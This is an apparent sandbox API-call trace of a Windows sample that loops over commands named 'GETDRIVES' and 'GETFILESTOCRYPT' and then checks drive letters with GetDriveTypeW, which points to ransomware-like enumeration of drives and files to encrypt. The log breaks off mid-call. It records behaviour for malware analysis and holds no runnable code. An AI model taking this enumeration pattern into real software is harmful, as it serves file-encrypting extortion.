CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.300] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.301] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.301] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.301] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.301] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.302] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.302] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.302] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.302] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.302] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.302] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.302] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.303] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.303] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.303] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.303] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.304] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.304] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.304] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.304] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.304] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.304] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.304] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.304] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.305] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.305] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.305] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.305] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.305] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.305] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.305] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.306] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.306] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.306] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.306] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.307] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.307] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.307] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.307] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.307] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.307] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.307] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.307] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.307] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.307] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.307] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.307] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.307] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.308] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.310] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.310] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.317] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.318] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.318] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.318] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.318] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.318] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.319] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.319] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.319] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.319] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.319] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.320] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.320] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.320] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.320] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.320] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.320] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.321] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.321] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.321] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.321] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.321] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.322] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.322] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.336] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.336] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.336] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.336] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.336] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.336] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.336] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.337] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.337] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.337] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.337] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.337] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.337] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.338] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.338] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.338] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.338] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.338] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.339] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.339] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.339] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.339] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.339] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.339] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.340] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.340] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.340] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.350] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.350] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.350] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.350] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.350] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.350] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.350] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.880] TranslateMessage (lpMsg=0x130f204) returned 0 [0085.880] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0085.880] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0085.885] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0085.885] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0085.885] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.885] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.885] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.885] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.885] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.885] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.885] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.885] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.885] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.885] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.886] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.886] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.886] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.886] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.886] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.886] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.886] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.886] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.886] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.886] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.886] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.886] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.887] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.888] GetDriveTypeW 